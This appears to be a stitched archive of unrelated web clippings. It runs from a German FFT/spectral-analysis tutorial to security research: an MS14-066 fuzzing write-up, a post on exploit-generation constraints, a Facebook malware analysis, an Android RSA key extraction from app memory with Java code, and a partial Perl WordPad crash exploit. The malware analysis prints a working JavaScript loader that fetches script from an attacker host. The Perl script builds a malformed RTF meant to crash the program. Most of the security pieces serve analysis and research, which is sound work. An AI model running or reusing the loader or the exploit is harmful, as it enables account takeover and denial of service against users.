Oft findet man im DSP-Forum Fragen wie: "Ich habe 1024 Signalpunkte gespeichert und darauf eine FFT ausgeführt, was mache ich mit dem Ergebnis?" Da muss man zuerst mal die Gegenfrage stellen: was willst du überhaupt mit dem Ergebnis machen? In der Regel geht es dem Frager darum, ein Leistungsdichtespektrum darzustellen, also einen Plot von der Signalleistung über der Frequenz, ähnlich wie es eine Audio-Spektrumanalysator anzeigt.  | 
## Inhaltsverzeichnis

  * 1 Was macht eine FFT?
  * 2 Leistungsdichte
  * 3 Fensterung
  * 4 Realität: stochastische Signale
  * 5 Mittelung: Die Welch-Methode
  * 6 Mittelung: Rekursiv
    * 6.1 Effiziente Implementierung

  
---  
## \[Bearbeiten\] Was macht eine FFT?

**FFT** \(Fast Fourier Transform\) ist eigentlich nur eine Bezeichnung für
einen Algorithmus zur schnellen Berechnung der **DFT** \(Discrete Fourier
Transform\) mit bestimmten Randbedingungen. Da die DFT sehr oft mit dem FFT-
Algorithmus berechnet wird, verwenden viele beide Begriffe gleichwertig.

Die DFT/FFT berechnet, vereinfacht ausgedrückt, welche Frequenzen im
Originalsignal enthalten sind, welche Sinusschwingungen also mit welcher Phase
addiert werden müssten, um auf das ursprüngliche Signal zu kommen. Konkret
bekommt man für jeden Frequenzpunkt \(0 bis Abtastfrequenz/2\) eine komplexe
Zahl, die Amplitude und Phase der entsprechenden Sinusschwingung
repräsentiert.

Grafisch lässt sich die FFT so interpretieren, dass ein orthogonales
Koordinatensystem bestehend aus Sin/Cos auf das Signal angewendet wird, um
dessen Vektoranteile in diesem Koordinatensystem zu bestimmen, die dann zu
Betrag \(Länge\) und Phase \(Winkel\) umgerechnet werden.

Eine FFT arbeitet daher grundsätzlich mit komplexen Signalen, das heißt man
gibt ein Signal mit einem Real- und Imaginärteil herein, und heraus kommt ein
Spektrum mit einem Real- und Imaginärteil. Arbeitet man mit rein reellen
Signalen \(der Normalfall\), dann setzt man den Imaginärteil des
Eingangssignals einfach auf 0. Ansonsten gibt es auch spezielle FFT-
Implementierungen für rein reelle Signale, und auch ein paar Tricks um die
Transformation von rein reellen Signalen mit komplexen FFTs beschleunigen
kann. Darauf soll hier aber erst mal nicht eingegangen werden.

## \[Bearbeiten\] Leistungsdichte

Oft interessiert man sich nicht für die Phasen der Sinuskomponenten des
Signals, sondern nur für die Beträge, bzw. nach Quadrierung die Leistung. Wenn
man die Beträge der komplexen Zahlen quadriert erhält man das sogenannte
Leistungsdichtespektrum des Signals, kurz **PSD** \(Power Spectral Density\).

\(Plot Zeitsignal -> PSD\)

## \[Bearbeiten\] Fensterung

\(Plot 1. abgeschnittener Sinus, 2. mit Fensterung\)

## \[Bearbeiten\] Realität: stochastische Signale

In realen Anwendungen hat man meist kein Signal mit einer definierten Form wie
einen Sinus, sondern Signale von denen man nicht wissen wie sie aussehen, die
sich ständig ändern, und von denen man nur Erwartungswerte kennt, z. B. den
Mittelwert oder die Leistung. Solche Signale nennt man Zufallssignale oder
**stochastische Signale**. Wenn wir ein Stück aus so einem Signal, hier als
Beispiel ein Sprachsignal, ausschneiden, fenstern, FFT-transformieren, den
Betrag bilden und quadrieren, dann sieht das Ergebnis zum Beispiel so aus:

\(Plot gefenstertes Sprachsignal, Spektrum\)

## \[Bearbeiten\] Mittelung: Die Welch-Methode

Diese Varianz zu reduzieren geht glücklicherweise sehr einfach: man bildet
einen Mittelwert über die FFTs von mehreren Blöcken. Wie viele Blöcke man
verwendet bestimmt die Reaktionszeit des Spektrums auf Änderungen. Ein
weiterer Faktor ist die Überlappung zwischen den Blöcken, hierfür wird
meistens 50% gewählt.

\(Plot gemitteltes Spektrum\)

## \[Bearbeiten\] Mittelung: Rekursiv

Ein Nachteil bei der Welch-Methode ist der hohe Speicherbedarf, da die
Ergebnisse aller Blöcke über die gemittelt werden soll ja irgendwo gespeichert
werden müssen. Alternativ kann man daher eine rekursive Mittelung verwenden.

<img src='img/Temp2_2731.png' alt='S_{neu} = S_{alt} \cdot \lambda +
\mathrm{FFT}(aktueller Block) \cdot (1 - \lambda)' />

Beispiel:

<img src='img/Temp2_2729.png' alt='S_{neu} = S_{alt} \cdot 0.99 +
\mathrm{FFT}(aktueller Block) \cdot 0.01' />

Jetzt ist neben dem Speicher für das FFT-Ergebnis und das Spektrum kein
zusätzlicher Speicher mehr nötig.

Auch hier stellt sich wieder die Frage welche Fensterung verwendet wird, und
ob aufeinanderfolgende Datenblöcke überlappen sollen oder nicht. Hierfür
gelten die selben Überlegungen wie für die Welch-Methode.

Außerdem gilt es natürlich den Parameter λ zu wählen. In der Praxis ist i.d.R.
Ausprobieren angesagt. Wenn man schon eine Mittelungslänge für die Welch-
Methode gefunden hat, dann lässt sich mit folgender Faustregel ein
äquivalenter Lambda-Faktor für die rekursive Mittelung berechnen\[1\]:

_R_ = \(1 + λ\) / \(1 − λ\)

\(Plot gefiltertes Spektrum\)

### \[Bearbeiten\] Effiziente Implementierung

Da Multiplikationen auf vielen Mikrocontrollern aufwändig sind, ist es
sinnvoll sich auf einen Faktor λ = 1 − 2 − _x_ zu beschränken und die
Berechnung mit Schiebeoperationen durchzuführen:

<img src='img/Temp2_2732.png' alt='S_{neu} = S_{alt} \cdot (1 - 2^{-x}) +
\mathrm{FFT}(aktueller Block) \cdot 2^{-x}' />

Mit ein bisschen Umstellen und Ersetzen der Multiplikation mit 2 − _x_ durch
x-faches Rechtsschieben kommt man auf:

_D_ _i_ _f_ _f_ _e_ _r_ _e_ _n_ _z_ = FFT\(_a_ _k_ _t_ _u_ _e_ _l_ _l_ _e_ _r_
_B_ _l_ _o_ _c_ _k_\) − _S_ _a_ _l_ _t_

_A_ _e_ _n_ _d_ _e_ _r_ _u_ _n_ _g_ = _D_ _i_ _f_ _f_ _e_ _r_ _e_ _n_ _z_ > >
_x_

_S_ _n_ _e_ _u_ = _S_ _a_ _l_ _t_ \+ _A_ _e_ _n_ _d_ _e_ _r_ _u_ _n_ _g_

Ein Nachteil der rekursiven Mittelung ist, dass Lambda-Werte sehr nahe bei 1
\(bzw. ein großer Wert x\) dazu führen können, dass "Aenderung" durch die
begrenzte Genauigkeit immer 0 ist, und sich _S_ _n_ _e_ _u_ deshalb nicht
ändert.

  

  1. ↑ Porat, B.: Second-order equivalence of rectangular and exponential windows in least-squares estimation of Gaussian autoregressive processes

# CyjbCtGXcAEhQi8.jpg:large \(1342×1000\)

**Created:**| _12/1/2016 11:29:01 AM_  
---|---  
**Updated:**| _12/1/2016 11:29:01 AM_  
**Author:**| __  
**Tags:**| _bookmark development-process cult\(ure\) management_  
  

  

<img src='img/Temp2_1774.png' width='1288' height='960' />

  

# Triggering MS14-066 | BeyondTrust
**Created:**| _11/17/2014 2:43:42 PM_  
---|---  
**Updated:**| _12/2/2014 2:29:03 PM_  
**Author:**| __  
**Tags:**| __  
  

# Triggering MS14-066

 _Posted November 17, 2014_    Research Team

Microsoft addressed CVE-2014-6321 this Patch Tuesday, which has been hyped as
the next Heartbleed.  This vulnerability \(actually at least 2
vulnerabilities\) promises remote code execution in applications that use the
SChannel Security Service Provider, such as Microsoft Internet Information
Services \(IIS\).

The details have been scarce.  Lets fix that.

<img src='img/Temp2_8463.png' width='1019' height='397' alt='1' />

Looking at the bindiff of schannel.dll, we see a few changed functions,
several touching the DTLSCookieManager class and various others.  There is at
least one bug addressed in DTLSCookieManager, but that one is for a different
time.  The one everyone is worried about in seems to be in
schannel\!DecodeSigAndReverse\(…\).

A high level view of the changes to DecodeSigAndReverse\(…\) are presented
below.

<img src='img/Temp2_8465.png' alt='2' />

Here we can see that there is some new logic  \(grey blocks\) added to the
middle of the patched function \(right side\).  Added branches are always a
good sign.  If we zoom in on the patched version, the situation looks even
more promising.

<img src='img/Temp2_8462.png' width='1392' height='1225' alt='asdfasdf' />

We can now see that the added logic controls a path to a memcpy \(actually two
memcpys — they wouldn’t both fit in the screenshot\).  This is an indication
that we are looking in the right place.

So how do we get here?  Lets look at the paths to this function in the
unpatched version of schannel.dll

<img src='img/Temp2_8459.png' width='1000' height='575' alt='4' />

So, it appears as though we need to hit ‘ProcessHandshake’ and then craft a
‘ClientVerifyMessage’ in order to hit the changed code.  To accomplish this,
we should probably check out the TLS/SSL documentation at MSDN.

<img src='img/Temp2_8460.png' alt='5' />

Given the names of the function in the codepath, it would make sense that we
are dealing with a  Certificate Verify message which is involved
in certificate authentication.  If we take a closer look at the unpatched
function, we can get a key clue from the lpszStructType parameter in the call
to CryptDecodeObject.

<img src='img/Temp2_8458.png' width='1477' height='898' alt='6' />

With a quick trip to MSDN, we can see that this parameter is telling us what
kind of structure to expect.  In this case we have X509\_ECC\_SIGNATURE and
X509\_DSS\_SIGNATURE.  Picking on the ECC\_SIGNATURE, the expected structure
is defined on MSDN

<img src='img/Temp2_8464.png' alt='7' />

It appears as though there could be an issue with the size parameter to one of
the memcpys, probably related to encoding the certificate.

At this point with what we know, the fastest way for us to proceed is to look
at this function dynamically \(with a debugger\).  So, we created an ECDSA
signed certificate with OpenSSL and setup Microsoft IIS with certificate
authentication enabled. We then attached a remote debugger to the LSASS
process on the IIS box and breakpointed the ECC\_SIGNATURE comparison \(cmp
ebx, 2F\).

Surprisingly the breakpoint fired when attempting to authenticate using
openssl s\_client on the first try\!

Now that we can hit the bad code, the next step is making something
cool happen here.  Again, to speed up analysis, we decided to modify OpenSSL
to fuzz this code path.

In OpenSSL, ECDSA signatures for ‘client verify messages’ are handled in the
source file s3\_clnt.c.  The encoded signatures from the client which end up
hitting the CryptDecodeObject\(…\) call in schannel\!DecodeSigAndReverse\(…\)
come from a function called ECDSA\_sign\(…\).  If we wander down the function
ssl3\_send\_client\_verify\(…\) which eventually calls ECDSA\_sign\(…\), we
get to this block which actually handles the ECDSA signing for  our client
verify message:

<img src='img/Temp2_8461.png' alt='8' />

To clarify this call, the function prototype for ECDSA\_sign is as follows:

[code]

     int         ECDSA_sign(int type, const unsigned char *dgst,
                            int dgstlen, unsigned char *sig,
                            unsigned int *siglen, EC_KEY *eckey);
    
[/code]

Reading the documentation for that function we learn that  “…The DER encoded
signatures is stored in **sig** and it’s length is returned in **sig\_len**.”

Therefore, if we were to use openssl s\_client to authenticate to our IIS box
and then were to single step through schannel\!DecodeSigAndReverse\(…\), we
would see the contents of ‘p’ from the above call to ECDSA\_sign\(…\) being
handed to CryptDecodeObject\(…\) in schannel, which would then be translated
and handed off to our bad memcpy block.

So, all we really need to do is to edit s3\_clnt.c to randomly change one byte
in ‘p’ to a random value before sending our Certificate Verify message back to
IIS over and over again and wait until something cool happens.

And if we wait long enough, it will – we will get a crash in memcpy.

<img src='img/Temp2_8457.png' width='958' height='571' alt='Capture' />

Further analysis and exploitation are left as an exercise to the reader.

Tags:

    Microsoft, november 2014, patch, Patch Tuesday, vulnerability

# Gathering constraints from conditional branches « Sean Heelan's Blog

**Created:**| _12/27/2010 8:42:16 AM_  
---|---  
**Updated:**| _12/27/2010 8:42:27 AM_  
**Author:**| __  
**Tags:**| _asm x86 awesome SMT_  
  

## Gathering constraints from conditional branches

June 19, 2009 by seanhn

Dataflow analysis without considering the effects of conditional branching is
of limited use when trying to generate an exploit or find a vulnerability. For
lightweight analysis the inaccuracies introduced may be acceptable, but when
creating an input that should drive the program to a specific point we must
consider all conditional branches affected by user input and represent the
inherent restrictions in the path condition.

Consider the example:

[code]

    cmp eax, ebx
    jg VULNERABLE_FUNCTION
    
    
[/code]

In this case, if either `eax` or `ebx` are tainted then our choice of input
can influence the condition. We would therefore like to have this condition
represented in the formula we will generate to represent the path condition.
We can achieve this be separating intructions into two categories; the set
`A`, those that write the EFLAGS, and the set `B`, those that read the EFLAGS.
Associated with every entry in A and B is the list of EFLAGS it writes or
reads respectively. We represent the EFLAGS register using vector `E <e_0,
e_1, ... , e_31>`. Each entry in this vector stores a list containing the
operands of the last instruction to write this particular eflag. If the last
instruction to write the eflag was not tainted by user input then the operand
list will be empty.

_\(In practice each entry in the vector E is an object containing 1 to N
vectors, where N is the number of operands of the instruction that wrote` e`.
Each operand vector is of size 1 to DWORD\_SIZE, with each entry representing
the taint information for a single byte of that operand. The cost of
instrumenting at the byte level is slower runtimes due to the extra overhead,
but it means we gain accuracy and expressiveness in our formulae\)_

Using this infrastructure we can then begin to record the operands involved in
instructions that write the EFLAGS register at runtime. Our instrumentation
routine for every instruction `ins` looks something like this:

[code]

    if ins in A
        operandList = ins.operandList;
        if (operandList.tainted)
            for eflag in ins.eflagsWritten:
                eflag.operandList = operandList;
        else
            for eflag in ins.eflagsWritten:
                eflag.operandList = [];
    
    
[/code]

Once this algorithm is in place we can then process instructions from set `B`,
those that read the EFLAGS register. For now I will just consider conditional
jumps and exclude other instructions like `cmpxchg, adc` etc. The majority of
eflag write/read combinations can be easily expressed by simply taking any of
the eflags read by a given instruction, extracting the operand list \(if there
is one\), and directly encoding the semantics of the condition on the
operands. e.g. if the instruction is `cmp x, y` and the condition is `jg`, and
the jump is taken, then we can express this as `(> x y)`. To determine whether
the jump has been taken or not, and hence whether the condition should be
negated, we take an approach similar to that of Catchconv/Smartfuzz. That is,
on the taken branch we simply insert a callback to our analysis routine with
the condition and on the fallthrough path we insert a callback with the
negated condition. Once this callback is triggered we basically have all the
components required to store the condition for later processing – the operands
involved, the conditional jump and whether the condition evaluated to true or
false.

When we decide to generate an input it becomes necessary to convert these
conditions to an SMT-LIB compliant formula. We first filter out the relevant
conditions. Basically we only need include information on conditions if our
changes to the original input might result in a different outcome. This is
relatively simple to determine. For every condition we can extract all
TaintByte objects that represent the taint information and dataflow history of
a given byte. We can trace this back to a specific byte from user input and if
we then decide to change this byte, the conditions it occur in will be
included in the formula. SMT-LIB format has support for concatenation of bit-
vectors so we generate our formula by concatenating the information on single
bytes into words and double words where necessary. For example, if some of our
input was treated as a 4 byte integer and compared to 0 we would end up with
conditions like `(not (= (concat n1 n2 n3 n4) bv0[32]))`, which expresses the
concatenation of 4 bytes \(which would earlier be declared as being of size 8
\) and the condition that these 4 bytes should not equal 0 when concatenated
together. SMT-LIB bitvector arithmethic is modulo-X, where X is the size of
the bit-vectors involved, and so it accurately models integer
overflows/underflows.

_\(I mentioned that this approach works for most instructions. One case where
some hackery is required is the test instruction. Typically something like`
test eax, eax` is followed by a `jz/je` instruction. Obviously the intention
here is that we are checking if `eax` is 0, not checking if `eax == eax` .
This situation is easily detected by simply comparing the operands that set
the zero flag on a `jz/je` for equality\)_

To demonstrate how these conditions can be gathered and used I have put
together an annotated run of my prototype against a simple vulnerable program.
It runs user input through a filter to ensure it is alphanumeric and if so a
strcpy vulnerability is triggered. It can be found here. To get an idea of the
kind of SMT constraints this generated I’ve also uploaded the entire formula
here. The constraints that exist specifying every byte cannot be 0 are
gathered from strcpy.

# Gatoni - Karagasidis Dimitris' Personal Blog

**Created:**| _2/25/2011 9:35:07 AM_  
---|---  
**Updated:**| _2/25/2011 9:35:30 AM_  
**Author:**| __  
**Tags:**| _web Malware-analysis socialising_  
  

# GatoniMy adventures in the 7 layers of OSI

  * Home
  *   * Technical bunch of stuff
  *   * Personal bunch of stuff
  *   * Bunch of other stuff
  *   * About

## Static analysis of fbcreeper/procreeper/profilechecker/thefbcreeper
Facebook malware

  * February 22, 2011 11:44 pm

Spent the day de-obfuscating and analyzing the code of a malware I found on
the wall of one of my contacts. It took me quite a few hours, since I de-
obfuscated the code manually in a text-editor. At least now I can build a
descent code obfuscator on my own. :p

You can read the de-obfuscated and fully documented code here.

This is the URLs distributing the malware:

  * http://fbcreeper.info/
  * http://procreeper.info/
  * http://profilechecker.info/
  * http://thefbcreeper.info/

This is what this malware does:

  * Posts links on victim’s wall, which advertise the malware
  * Posts links to victim’s contacts’ walls, which advertise the malware
  * Posts links to pages created or administered by victim, which advertise  
the malware

  * Adds users with emails lethaburbach890@yahoo.com and chunfeezellwytm@hotmail.com as administrators to the pages created by the victim.
  * Sends private messages, advertising the malware
  * “Likes” pages “DJ-Emphatic” and “OH Whutt” with victim’s account
  * Invites all contacts to an event \(which seems to be removed now\)
  * Sends user to http://fbviews.org/result.php, where the user is asked to do some “anti-spam verification tests” before he can view the results. Of course there are no results, and the malware developers earn money from bringing traffic to the sites mentined there.

As of now \(22nd February 2011, 23:40 GMT+2\), somewhere between 11,000 and
20,000 accounts are infected.

The malware is injected through a javascript code snippet:

[code]

    javascript: (a = (d = document).createElement("script")).src = "http://fbcreeper.info/StalkerTools.fb";void(d.body.appendChild(a))
    
    
[/code]

**  
Do NOT inject and execute unknown code in your browser address bar. If you
happened to use this application/malware, check your pages’ administrators,
log-out from your Facebook account, clear browsing history and remove any
links left on your wall and your pages.  
**

  

# Random Security: Extracting RSAPrivateCrtKey and Certificates from an
Android Process

**Created:**| _10/22/2013 11:30:07 AM_  
---|---  
**Updated:**| _10/22/2013 11:30:07 AM_  
**Author:**| __  
**Tags:**| _Memory forensics crypto android_  
  

# **E** xtracting RSAPrivateCrtKey and Certificates from an Android
Process****

An Android application that I assessed recently had extensive cryptographic
controls to protect client-server communication and to secure its local
storage**.** To top that, its source code was completely obfuscated**.**

Combined, these two factors made the application a great candidate for
reversing**.** In this blog I will detail the portion of work where I dumped
X**.** 509  certificates and constructed a RSA private key \(RSAPrivateCrtKey
\) from the Android application memory using Eclipse Memory Analyzer Tool
\(MAT \) and Java code**.**

###  Analyzing Android Memory with Eclipse MAT****

Eclipse MAT is primarily a Java heap analyzer that has extensive usage beyond
its primary purpose of identifying memory leaks**.** It can be used to
identify and dump sensitive information in Android application memory, perform
some memory forensics etc… If you are new to Android memory analysis, I
recommend that you get intimate with this tool for its obvious benefits**.**
The following articles can help you get started**.**

Okay, now back to our target application**.**

###  Locating the crypto material****

As part of reversing process I used dex2jar  to decompile the application apk
to java files and started analyzing them**.** While following application
logic and reviewing its obfuscated code, I stumbled upon a java file
\(com.pack.age.name**.** h**.** b.java\) that contained instance variables of
type SSLSocketFactory and X509TrustManager**.** Clearly, this class was
performing important cryptographic operations with respect to client-server
communication**.**

So I pivoted to this class to identify the source of its crypto material and
all attempts led me from one rabbit hole to another**.** I then decided to
directly look at application heap with Eclipse MAT**.** I launched the
application and performed some operations to ensure that the application loads
the required crypto material and then performed the following steps to create
the HPROF file contain application heap dump**.**

  1. Select the application from the list of running apps
  2. Select the “Show heap updates” option for the target application
  3. Select “Dump HPROF file” for analysis**.**
  4. Since I had MAT plugin installed, ADT converted the Android memory dump to HPROF format and presented it for analysis**.** In case you do not have MAT plugin, you will need to convert the generated dump to MAT readable format with hprof-conv  utility that comes with ADT**.**

After opening the heap dump, I clicked on the “Dominator Tree” to view the
object graph**.** Supplying the name of the class which had SSLSocketFactory
and X509TrustManager instance variables in the Regex area filtered out most of
the unwanted stuff**.** I then navigated the object tree to identify the X.509
certificates and the RSAPrivateCrtKey is shown below**.**

<img src='img/Temp2_6726.png' />  
---  
Image shows two X.509 certificates and a RSAPrivateCrtKey in program heap  
###  Dumping the certificates****

The X.509 certificates were byte arrays of different lengths and extracting
the certificates turned out to be quick**.** I right clicked on the byte array
 navigated to Copy  Save Value to File  selected location to save the file
and clicked Finish**.** MAT indicates that the copy functionality allows you
to write char\[\], String, StringBuffer and StringBuilder to a text file but
it handsomely handled the byte\[\] in the current context**.** Please note the
extension of the exported file was set to .der on the windows system**.** The
following screenshots will show you the steps followed and one extracted
certificate**.**

<img src='img/Temp2_6719.png' width='320' height='156' />  
---  
Image shows selecting the “Save Value to File” functionality for the byte\[\]  
<img src='img/Temp2_6727.png' />  
---  
Image shows file saved as certificate-1.der  
<img src='img/Temp2_6725.png' />  
---  
Image shows the extracted Root CA certificate from the Android application  
###  Extracting the RSAPrivateCrtKey****

The second important component was the RSAPrivateCrtKey and extracting it was
a little more involved as we will see below**.** To summarize, the below
provided steps were followed to retrieve the RSAPrivateKeyCrtKey:

  1. Locate components that make up the RSAPrivatecrtKeySpec
  2. Copy all the components and store them in file system
  3. Compute positive BigInteger values from these components
  4. Construct RSAPrivatecrtKeySpec from its components
  5. Use the RSAPrivatecrtKeySpec object to construct RSAPrivatecrtKey
  6. Write the RSAPrivatecrtKey to the file system in PKCS8 format
  7. And optionally:

  1. Convert PKCS8 to PEM using OpenSSL
  2. Extract public key from the PEM file with OpenSSL

Let us now look at the involved details**.**

The third component from Figure 1 corresponds to an instance of
RSAPrivatecrtKeySpec which was the starting point to construct the key**.**
Selecting the
com.android.org.bouncycastle.jcajce.provider.asymmetric.rsa.BCRSAPrivateCrtKey
entry in the MAT’s Dominator Tree populated the Attributes tab with the
information \(type, instance name and object reference\) pertaining to the
several participating BigInteger instances that are required to build this
RSAPrivateCrtKeySpec **.** The following are the participating BigInteger
components that make up a RSAPrivateCrtKeySpec:

  1. modulus
  2. publicExponent
  3. privateExponent
  4. primeP
  5. primeQ
  6. primeExponentP
  7. primeExponentQ
  8. crtCoefficient

I used this information to segregate the BigInteger component values to
different variables as their values were copied out to the file system \(see
figure below\)**.** For example, the crtCoefficient at @0x410b0080 in the
Attributes tab \(left\) was mapped to an array of 32 integers \(right\)**.**
The modulus at @0x410afde0 was 64 int’s long which indicated that the key size
was 2048 bits**.** Since MAT does not know how to export BigInteger objects, I
used the actual int\[\] reference inside the corresponding BigInteger dropdown
to copy out the binary content**.**

That is, I right clicked on the int\[\] dropdowns under the BigInteger while
exporting their content**.** This process was repeated for all the BigInteger
components to 8 local files and the files were named as per the Attribute
names**.** The following two images show the Attributes pane and the
corresponding int\[\] content dump**.**

<img src='img/Temp2_6723.png' />  
---  
Image shows the Atrributes and corresponding BigInteger objects in the heap  
<img src='img/Temp2_6720.png' />  
---  
Image shows int\[64\] selected to export the binary representation of the
array  
The next step after extracting the BigInteger components was to check if I am
able to use them to re-construct the RSAPrivateCrtKeySpec**.** So I decided to
perform two basic tests before going forward**.**

  1. Read individual int values from the file where int\[\]was dumped and match them against values in the MAT
  2. Check that all BigInteger components are positive numbers

I wrote some Java code to help me test all the binary dumps against these two
conditions**.** The results indicated that first condition was true for all
BigInteger components, but the second condition was not met by 3 out of 8
BigInteger components that had negative values as shown below**.**

<img src='img/Temp2_6724.png' />  
---  
Image shows matching integers from the binary dump against MAT \(Condition 1\)  
<img src='img/Temp2_6722.png' />  
---  
Image shows the negative value \(Condition 2\)  
I searched around to identify the reason for the negative values and the
comments in the OpenJDK code  indicated that the negative values can be result
of incorrect ASN**.** 1 encoding. So I included the corresponding code to
calculate and return 2’s complement for negative BigInteger values before
supplying the values to RSAPrivateCrtKeySpec constructor**.**

The final Java code that reads the binary BigInteger \(int\[\]\) components
from file system and creates RSAPrivateCrtKey in PKCS8 format is provided
below**.**

import java**.** io.DataInputStream; import java**.** io.EOFException; import
java.io.FileInputStream; import java**.** io.FileNotFoundException; import
java**.** io.FileOutputStream; import java**.** io.IOException; import
java.math.BigInteger; import java.nio.ByteBuffer; import java.nio.IntBuffer;
import java.security.KeyFactory; import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException; import
java.security.NoSuchProviderException; import java.security.PrivateKey; import
java.security.Security; import java.security.spec.InvalidKeySpecException;
import java.security.spec.PKCS8EncodedKeySpec; import
java.security.spec.RSAPrivateCrtKeySpec; import java.util.ArrayList; import
org.bouncycastle.jce.provider.BouncyCastleProvider; public class Generate Key
\{ public static BigInteger bitIntFromByteArray\(int\[\] byteArrayParam\) \{
byte\[\] localByteArray = new byte\[byteArrayParam.length \* 4\]; ByteBuffer
byteBuffer = ByteBuffer.wrap\(localByteArray\); IntBuffer intBuffer =
byteBuffer.asIntBuffer\(\); intBuffer.put\(byteArrayParam\); BigInteger
bigInteger = new BigInteger\(localByteArray\);
if\(bigInteger.compareTo\(BigInteger.ZERO\) < 0\) bigInteger = new
BigInteger\(1, bigInteger.toByteArray\(\)\); return bigInteger; public static
BigInteger bigIntegerFromBinaryFile\(String filename\) throws IOException \{
ArrayList<Integer> intArrayList = new ArrayList<Integer>\(\); DataInputStream
inputStream = new DataInputStream\(new FileInputStream\(filename\)\); while
\(true\)  intArrayList.add\(inputStream.readInt\(\)\); \} catch \(EOFException
ex\) \{ \} finally \{ inputStream.close\(\); int\[\] intArray = new
int\[intArrayList.size\(\)\]; for\(int i = 0; i < intArrayList.size\(\); i++\)
intArray\[i\] = intArrayList.get\(i\); return bitIntFromByteArray\(intArray\);
public static void main\(String\[\] args\) throws KeyStoreException,
NoSuchProviderException, NoSuchAlgorithmException, InvalidKeySpecException,
FileNotFoundException, IOException, ClassNotFoundException \{
Security.addProvider\(new BouncyCastleProvider\(\)\); BigInteger
crtCoefficient = bigIntegerFromBinaryFile\("h:\\\key-
coeffs\\\crtCoefficient"\); BigInteger modulus =
bigIntegerFromBinaryFile\("h:\\\key-coeffs\\\modulus"\); BigInteger
primeExponentP = bigIntegerFromBinaryFile\("h:\\\key-
coeffs\\\primeExponentP"\); BigInteger primeExponentQ =
bigIntegerFromBinaryFile\("h:\\\key-coeffs\\\primeExponentQ"\); BigInteger
primeP = bigIntegerFromBinaryFile\("h:\\\key-coeffs\\\primeP"\);  BigInteger
primeQ = bigIntegerFromBinaryFile\("h:\\\key-coeffs\\\primeQ"\); BigInteger
privateExponent = bigIntegerFromBinaryFile\("h:\\\key-
coeffs\\\privateExponent"\); BigInteger publicExponent =
bigIntegerFromBinaryFile\("h:\\\key-coeffs\\\publicExponent"\);
System.out.println\("crtCoefficient\t" \+ crtCoefficient\);
System.out.println\("modulus\t" \+ modulus\);
System.out.println\("primeExponentP\t" \+ primeExponentP\);
System.out.println\("primeExponentQ\t" \+ primeExponentQ\);
System.out.println\("primeP\t" \+ primeP\); System.out.println\("primeQ\t" \+
primeQ\); System.out.println\("privateExponent\t" \+ privateExponent\);
System.out.println\("publicExponent\t" \+ publicExponent\);
RSAPrivateCrtKeySpec spec = new RSAPrivateCrtKeySpec\(modulus, publicExponent,
privateExponent, primeP, primeQ, primeExponentP, primeExponentQ,
crtCoefficient\); KeyFactory factory = KeyFactory.getInstance\("RSA", "BC"\);
PrivateKey privateKey = factory.generatePrivate\(spec\);
System.out.println\(privateKey\); PKCS8EncodedKeySpec pkcs8EncodedKeySpec =
new PKCS8EncodedKeySpec\(privateKey.getEncoded\(\)\); FileOutputStream fos =
new FileOutputStream\( "h:\\\key-coeffs\\\private-pkcs8.der"\);
fos.write\(pkcs8EncodedKeySpec.getEncoded\(\)\); fos.close\(\);  
---  
###  Converting PKCS8 to PEM****

The next step of the process was to convert the private key from PKCS8 format
to a PEM file and then to generate the public key from the private key with
the following OpenSSL commands**.**

openssl pkcs8 –inform DER –nocrypt –in private-pkcs8.der –out privatePem.pem
openssl rsa –in privatePem.pem –pubout  
---  
Image shows OpenSSL converting the PKCS8  
---  
<img src='img/Temp2_6728.png' />  
---  
Image shows the RSA private key  
<img src='img/Temp2_6721.png' />  
---  
Image shows OpenSSL extracting public key from the privatePem.pem file  
###  Conclusion****

Memory analysis is a powerful technique that can be used to identify and
extract sensitive information from application runtime**.** In some scenarios,
the extracted information can also be used to defeat client side security
controls**.**

****

# MS Wordpad on winXP SP3 Local Crash Exploit

**Created:**| _8/18/2009 8:39:09 AM_  
---|---  
**Updated:**| _8/18/2009 8:39:15 AM_  
**Author:**| __  
**Tags:**| _Exploit_  
  

[code]

    #!/usr/bin/perl
    #Microsoft Wordpad on WinXP SP3 Memory Exhaustion Vulnerability - 0day
    #Works on WinXP SP3!
    #bug found by murderkey in Hellcode Labs.
    #exploit coded by karak0rsan aka musashi
    #Hellcode Resarch
    #just a fuckin' lame 0day bug for fun!
    
    $file = "hellcoded.rtf";
    $header =
    "\x7b\x5c\x72\x74\x66\x31\x5c\x61\x6e\x73\x69\x5c\x61\x6e\x73\x69\x63\x70\x67\x31\x32".
    "\x35\x34\x5c\x64\x65\x66\x66\x30\x5c\x64\x65\x66\x6c\x61\x6e\x67\x31\x30\x35\x35\x7b".
    "\x5c\x66\x6f\x6e\x74\x74\x62\x6c\x7b\x5c\x66\x30\x5c\x66\x73\x77\x69\x73\x73\x5c\x66".
    "\x63\x68\x61\x72\x73\x65\x74\x31\x36\x32\x7b\x5c\x2a\x5c\x66\x6e\x61\x6d\x65\x20\x41".
    "\x72\x69\x61\x6c\x3b\x7d\x41\x72\x69\x61\x6c\x20\x54\x55\x52\x3b\x7d\x7d\x0a\x7b\x5c".
    "\x2a\x5c\x67\x65\x6e\x65\x72\x61\x74\x6f\x72\x20\x4d\x73\x66\x74\x65\x64\x69\x74\x20".
    "\x35\x2e\x34\x31\x2e\x31\x35\x2e\x31\x35\x31\x35\x3b\x7d\x5c\x76\x69\x65\x77\x6b\x69".
    "\x6e\x64\x34\x5c\x75\x63\x31\x5c\x70\x61\x72\x64\x5c\x66\x30\x5c\x66\x73\x32\x30";
    
    $subheader = "\x5c\x41\x41\x41\x41\x41\x5c\x41\x41\x41\x41\x5c\x70\x61\x72\x0a\x7d\x0a\x00";
    $ekheader = "\x5c\x70\x61\x72\x0a";
    $buffer = "A" x 578001;
    $buffer2 = "A" x 289000;
    $buffer3 = "A" x 18186;
    $buffer4 = "A" x 863973;
    $buffer5= "A" x 578000;
